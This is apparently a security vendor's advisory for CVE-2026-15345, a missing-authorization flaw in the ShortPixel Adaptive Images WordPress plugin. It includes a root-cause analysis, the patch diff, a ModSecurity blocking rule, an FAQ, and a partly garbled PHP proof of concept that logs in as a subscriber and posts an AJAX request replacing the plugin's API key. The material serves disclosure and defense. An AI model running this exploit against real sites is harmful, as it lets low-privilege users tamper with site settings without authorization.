{
“analysis”: “Atomic Edge analysis of CVE-2026-15345: ShortPixel Adaptive Images <= 3.11.5 contains a missing authorization vulnerability in the AJAX handler that processes plugin notices. Authenticated users with subscriber-level access can invoke the handler to modify the plugin's own configuration and, when third-party plugins are installed, alter their options. The issue is rated with a CVSS score of 4.3 (CWE-862) and affects the notice action handling path.nnThe root cause lies in ShortPixel Adaptive Images' notice action dispatcher. The handler, defined in `/shortpixel-adaptive-images/includes/actions/notice.actions.class.php`, is exposed to all authenticated users via a WordPress AJAX action (e.g., `wp_ajax_shortpixel_ai_notice`). The `handle()` method parses a `causer` parameter from the POST request and uses it to determine which plugin's action to execute. Critically, the method does not verify that the current user has the appropriate capability (e.g., `manage_options`) or a valid nonce. This allows any logged-in user, including subscribers, to trigger arbitrary actions on the ShortPixel Adaptive Images plugin and, if present, on third-party plugins such as ShortPixel Image Optimizer, Autoptimize, WP Rocket, Imagify, and LiteSpeed Cache. Atomic Edge analysis confirms the missing capability check is the direct cause.nnExploitation is straightforward: the attacker only needs to be authenticated as any user role (e.g., subscriber). They craft a POST request to `/wp-admin/admin-ajax.php` with the WordPress AJAX `action` set to the vulnerable handler (typically `shortpixel_ai_notice`) and include a `causer` parameter that names the target plugin's setting group (e.g., `shortpixel_image_optimizer` or `autoptimize`). The `data` parameter can carry the configuration changes. Since no authorization check exists, the attacker can modify the plugin's own API key, change CDN settings, or alter third-party plugin options that the notice system is designed to manipulate. The request does not require a valid nonce because the handler never validates it.nnThe patch introduces two security checks at the start of the `handle()` method. It now calls `Page::checkSpaiNonce()` to enforce CSRF protection via a nonce, and it verifies that the current user has the `manage_options` capability using `ShortPixelAI::userCan('manage_options')`. If either check fails, the handler responds with a failure and aborts. The nonce is embedded into the notice template via a new `{{ SPAI NONCE }}` placeholder, which the frontend JavaScript reads from the `data-spainonce` attribute and includes in AJAX requests. This ensures that only intended administrative actions from authenticated administrators are processed. The patch also bumps the plugin version to 3.11.6.nnThe vulnerability allows authenticated non-admin users to modify sensitive configuration options. An attacker could change the plugin's API key, potentially redirecting image optimization traffic to an attacker-controlled service, or alter third-party plugin settings to inject malicious content (e.g., XSS via autoptimize or script options) or compromise site performance. In scenarios where the affected plugins' settings include security-relevant options, this could lead to further privilege escalation or site compromise. The impact is moderate but notable, especially because subscriber accounts are common in multi-user WordPress sites.",
"poc_php": "// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-15345 – ShortPixel Adaptive Images Missing Authorization to Authenticated (Subscriber+) Third-Party Plugin Option Modificationnn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1,n ‘csrf_token’ => $csrf,n];nhttp_request($login_page, ‘POST’, [‘Content-Type: application/x-www-form-urlencoded’], http_build_query($login_data));nn// 2. Prepare the malicious AJAX requestn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn// The vulnerable AJAX action for noticesn$action = ‘shortpixel_ai_notice’; // Change if the exact hook differsnn// The causer parameter identifies the plugin’s setting group.n// For ShortPixel Adaptive Images itself, use something like ‘shortpixel_ai’.n// For third-party plugins, use the plugin slug, e.g., ‘shortpixel-image-optimiser’,n// ‘autoptimize’, ‘wp-rocket’, ‘imagify’, or ‘litespeed-cache’.n$causer = ‘shortpixel_ai’;nn// The data parameter is a JSON-encoded array of settings to modify.n// Example here changes the API key and binds an attacker-controlled account.n$data = json_encode([n ‘apiKey’ => ‘attacker-controlled-key’,n ‘account’ => ‘attacker@example.com’n]);nn$post_data = [n ‘action’ => $action,n ’causer’ => $causer . ‘___’ . ‘dummy’, // The vulnerable code splits on ‘___’n ‘data’ => $data,n];nn$headers = [n ‘X-Requested-With: XMLHttpRequest’,n ‘Content-Type: application/x-www-form-urlencoded’,n];nn// 3. Send the exploitn$response = http_request($ajax_url, ‘POST’, $headers, http_build_query($post_data));necho “Response:\n” . $response . “\n”;necho “If the response indicates success (or no error), the attack was likely successful.\n”;n?>n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-15345n# Blocks unauthenticated/non-admin AJAX requests to the vulnerable notice handler.n# The vulnerability is a missing capability/nonce check, so we match the specific AJAX actionn# and require that the request does NOT carry a valid nonce.n# Note: This rule assumes only administrators should access this endpoint.nn# First rule: match the AJAX endpoint and actionnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-15345 ShortPixel AI notice unauthorized access’,severity:’CRITICAL’,tag:’CVE-2026-15345′”n SecRule ARGS_POST:action “@streq shortpixel_ai_notice” “chain”n SecRule ARGS_POST:data “@rx .+” “deny”n
}

CVE-2026-15345: ShortPixel Adaptive Images <= 3.11.5 Missing Authorization to Authenticated (Subscriber+) Third-Party Plugin Option Modification via 'causer' Parameter PoC, Patch Analysis & Rule
CVE-2026-15345
shortpixel-adaptive-images
3.11.5
3.11.6
Analysis Overview
Differential between vulnerable and patched code
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/shortpixel-adaptive-images/includes/actions/notice.actions.class.php
+++ b/shortpixel-adaptive-images/includes/actions/notice.actions.class.php
@@ -14,6 +14,15 @@
* Works via AJAX
*/
public static function handle() {
+ // Security: this handler is exposed via wp_ajax_ to every logged-in
+ // user. Verify the nonce (CSRF) and the capability (authorization)
+ // before dispatching, mirroring Page Actions (page.actions.class.php).
+ Page::checkSpaiNonce();
+
+ if ( ! ShortPixelAI::userCan( 'manage_options' ) ) {
+ wp_send_json( [ 'success' => false ] );
+ }
+
$ctrl = ShortPixelAI::_();
$data = $_POST[ 'data' ];
$causer = explode("___",$_POST[ 'causer' ]);
--- a/shortpixel-adaptive-images/includes/controllers/lqip.class.php
+++ b/shortpixel-adaptive-images/includes/controllers/lqip.class.php
@@ -141,6 +141,21 @@
return $item;
}
+ // Restores 'url'/'source' from 'lqipUrl' for items that went through normalizeLqipItem()
+ // Needed because the persisted collection (cron state) can contain normalized items
+ // that only carry 'lqipUrl', while generate()/filterWithProcessed() still read 'url'/'source' directly
+ private function denormalizeLqipItem(array $item): array {
+ if (!isset($item['url']) && isset($item['lqipUrl'])) {
+ $item['url'] = $item['lqipUrl'];
+ }
+
+ if (!isset($item['source']) && isset($item['lqipUrl'])) {
+ $item['source'] = $item['lqipUrl'];
+ }
+
+ return $item;
+ }
+
private function provideTimestamp(array $collection): array {
$now = time();
@@ -205,6 +220,11 @@
public static function clearCache() {
SHORTPIXEL_AI_DEBUG && ShortPixelAILogger::instance()->log('CLEARING CACHE in: ' . self::DIR);
+
+ // always purge the queue/state option, regardless of whether the placeholder files exist
+ // this makes sure stale or corrupted queue entries don't survive a manual cache clear
+ delete_option( 'shortpixel_ai_lqip_state' );
+
if ( !file_exists( self::DIR ) || !is_dir( self::DIR ) ) {
return false;
}
@@ -357,7 +377,9 @@
private function schedule( $collection ) {
if ( !empty( $collection ) && is_array( $collection ) ) {
$state = $this->getLqipState();
- $scheduled_collection = $state['collection'];
+ // items already saved in the state can be normalized (only 'lqipUrl' set)
+ // restore 'url'/'source' before merging with the freshly collected items below
+ $scheduled_collection = array_map( [ $this, 'denormalizeLqipItem' ], $state['collection'] );
$collection = array_merge( $scheduled_collection, $collection );
$collection = $this->provideTimestamp($collection);
$collection = $this->removeOldItemsFromCollection($collection);
@@ -412,6 +434,10 @@
$this->log( 'LQIP REQUESTS START. ALREADY PROCESSED: ', $processed );
foreach ( $collection as $index => $item ) {
+ // items coming from the persisted cron state can be normalized (only 'lqipUrl' set)
+ // restore 'url'/'source' before using them
+ $item = $this->denormalizeLqipItem( $item );
+
// flag to skip request if current URL has been already processed several times
// and process failed more than self::ATTEMPTS_QTY
$skip_request = false;
@@ -679,6 +705,10 @@
return true;
}
+ // items coming from the persisted cron state can be normalized (only 'lqipUrl' set)
+ // restore 'url'/'source' before comparing them
+ $item = $this->denormalizeLqipItem( $item );
+
$pass = true;
foreach ( $processed as $placeholder ) {
--- a/shortpixel-adaptive-images/includes/controllers/notice.class.php
+++ b/shortpixel-adaptive-images/includes/controllers/notice.class.php
@@ -16,7 +16,7 @@
/**
* @var string $template Notice template
*/
- private static $template = '<div class="{{ NOTICE CLASSES }}" data-icon="{{ NOTICE ICON }}" data-causer="{{ CAUSER }}" data-plugin="short-pixel-ai"><div class="body-wrap"><div class="message-wrap">{{ MESSAGE }}</div><div class="buttons-wrap">{{ BUTTONS }}</div></div></div>';
+ private static $template = '<div class="{{ NOTICE CLASSES }}" data-icon="{{ NOTICE ICON }}" data-causer="{{ CAUSER }}" data-spainonce="{{ SPAI NONCE }}" data-plugin="short-pixel-ai"><div class="body-wrap"><div class="message-wrap">{{ MESSAGE }}</div><div class="buttons-wrap">{{ BUTTONS }}</div></div></div>';
/**
* @var array $allowed_types Valid notice classes
@@ -120,13 +120,14 @@
}
return str_replace(
- [ '{{ NOTICE CLASSES }}', '{{ NOTICE ICON }}', '{{ MESSAGE }}', '{{ BUTTONS }}', '{{ CAUSER }}' ],
+ [ '{{ NOTICE CLASSES }}', '{{ NOTICE ICON }}', '{{ MESSAGE }}', '{{ BUTTONS }}', '{{ CAUSER }}', '{{ SPAI NONCE }}' ],
[
implode( ' ', $notice_classes ),
empty( $data[ 'notice' ][ 'icon' ] ) ? 'none' : ( in_array( $data[ 'notice' ][ 'icon' ], self::$allowed_icons ) ? strtolower( $data[ 'notice' ][ 'icon' ] ) : 'none' ),
$message,
$buttons,
$causer,
+ wp_create_nonce( 'shortpixel-ai-settings' ),
],
self::$template );
}
--- a/shortpixel-adaptive-images/short-pixel-ai.php
+++ b/shortpixel-adaptive-images/short-pixel-ai.php
@@ -3,7 +3,7 @@
* Plugin Name: ShortPixel Adaptive Images
* Plugin URI: https://shortpixel.com/
* Description: Display properly sized, smart cropped and optimized images on your website. Images are processed on the fly and served from our CDN.
- * Version: 3.11.5
+ * Version: 3.11.6
* Author: ShortPixel
* GitHub Plugin URI: https://github.com/short-pixel-optimizer/shortpixel-adaptive-images
* Author URI: https://shortpixel.com
@@ -15,7 +15,7 @@
//ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL);
if ( !class_exists( 'ShortPixelAI' ) ) {
- define( 'SHORTPIXEL_AI_VERSION', '3.11.5' );
+ define( 'SHORTPIXEL_AI_VERSION', '3.11.6' );
define( 'SPAI_SNIP_VERSION', '3.1.0' );
define( 'SHORTPIXEL_AI_VANILLAJS_VER', '1.1' );
define( 'SHORTPIXEL_AI_PLUGIN_FILE', __FILE__ );
Frequently Asked Questions
What is CVE-2026-15345?
Vulnerability OverviewCVE-2026-15345 is a missing authorization vulnerability in the ShortPixel Adaptive Images plugin for WordPress, affecting versions up to and including 3.11.5. It allows authenticated users with subscriber-level access or above to modify configuration options of the plugin itself and, if installed, certain third-party plugins like ShortPixel Image Optimizer, Autoptimize, WP Rocket, Imagify, and LiteSpeed Cache. The issue is classified as CWE-862 and has a CVSS score of 4.3 (Medium).
How does the vulnerability work?
Technical ExplanationThe vulnerability lies in the AJAX handler for plugin notices, specifically in the file `notice.actions.class.php`. The handler is exposed to all authenticated users via `wp_ajax_shortpixel_ai_notice` and does not verify the user’s capabilities or a nonce. An attacker can send a crafted POST request to `admin-ajax.php` with a `causer` parameter that targets a specific plugin’s settings, and a `data` parameter containing the desired changes. Because there is no authorization check, the request is processed, allowing unauthorized modification of settings.
Who is affected by this vulnerability?
Affected UsersAny WordPress site running ShortPixel Adaptive Images version 3.11.5 or earlier is affected. The vulnerability can be exploited by any authenticated user, including those with the lowest privilege level (subscriber). However, the impact on third-party plugins is only possible if those plugins are installed and active. Site administrators should check their plugin version and update to 3.11.6 or later.
How can I check if my site is vulnerable?
Detection StepsTo check if your site is vulnerable, navigate to the WordPress admin dashboard, go to Plugins, and look for ShortPixel Adaptive Images. If the version is 3.11.5 or lower, your site is vulnerable. You can also check the plugin’s readme.txt file or the changelog in the plugin directory. Additionally, you can review your server logs for unusual AJAX requests to `admin-ajax.php` with the action `shortpixel_ai_notice` from non-admin users.
What is the practical risk of this vulnerability?
Risk AssessmentThe risk is rated as Medium with a CVSS score of 4.3. The vulnerability allows authenticated non-admin users to modify sensitive configuration options. For example, an attacker could change the plugin’s API key, potentially redirecting image optimization traffic to an attacker-controlled service, or alter third-party plugin settings that could lead to content injection or performance degradation. While it does not directly lead to full site compromise, it could be a stepping stone for further attacks, especially on multi-user sites.
How does the proof of concept (PoC) demonstrate the issue?
PoC ExplanationThe PoC provided by Atomic Edge shows a subscriber-level user logging into the WordPress site and then sending a crafted AJAX request to `admin-ajax.php` with the action `shortpixel_ai_notice`. The request includes a `causer` parameter set to `shortpixel_ai` and a `data` parameter with a JSON payload that changes the API key and account binding. Because the handler lacks authorization checks, the request succeeds, demonstrating that a subscriber can modify plugin settings without permission.
What is the root cause of the vulnerability?
Root Cause AnalysisThe root cause is the absence of a capability check and nonce validation in the `handle()` method of the notice actions class. The method processes AJAX requests without verifying that the current user has the `manage_options` capability or that the request includes a valid nonce. This oversight allows any authenticated user to trigger actions that should be restricted to administrators.
How is the vulnerability patched in version 3.11.6?
Patch DetailsThe patch adds two security checks at the beginning of the `handle()` method. It now calls `Page::checkSpaiNonce()` to enforce CSRF protection via a nonce, and it verifies that the current user has the `manage_options` capability using `ShortPixelAI::userCan(‘manage_options’)`. If either check fails, the handler returns a failure response and aborts. The nonce is embedded in the notice template and included in AJAX requests via a data attribute.
What steps should I take to mitigate the vulnerability if I cannot update immediately?
Mitigation StepsIf you cannot update to version 3.11.6 immediately, you should restrict access to the vulnerable AJAX endpoint by using a security plugin or a web application firewall (WAF) rule. Additionally, you can disable the plugin temporarily or remove subscriber accounts that are not necessary. However, the most effective mitigation is to update the plugin to the patched version as soon as possible.
Are there any known exploits in the wild?
Exploit StatusAs of the disclosure date, there are no known active exploits in the wild. However, given the ease of exploitation and the availability of a PoC, it is likely that attackers will start exploiting this vulnerability soon. It is crucial to apply the patch promptly to prevent potential attacks.
What third-party plugins are impacted?
Third-Party ImpactThe vulnerability can affect the settings of ShortPixel Image Optimizer, Autoptimize, WP Rocket, Imagify, and LiteSpeed Cache, but only if these plugins are installed and active on the same site. The `causer` parameter in the AJAX request can be set to target these plugins’ option groups, allowing an attacker to modify their settings without authorization.
How can I protect my site with a WAF rule?
WAF Rule GuidanceA WAF rule can block unauthorized AJAX requests to the vulnerable endpoint. The provided ModSecurity rule matches requests to `admin-ajax.php` with the action `shortpixel_ai_notice` and denies them if they contain a `data` parameter. This rule assumes that only administrators should access this endpoint. You can implement this rule in your WAF to block exploitation attempts until the plugin is updated.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






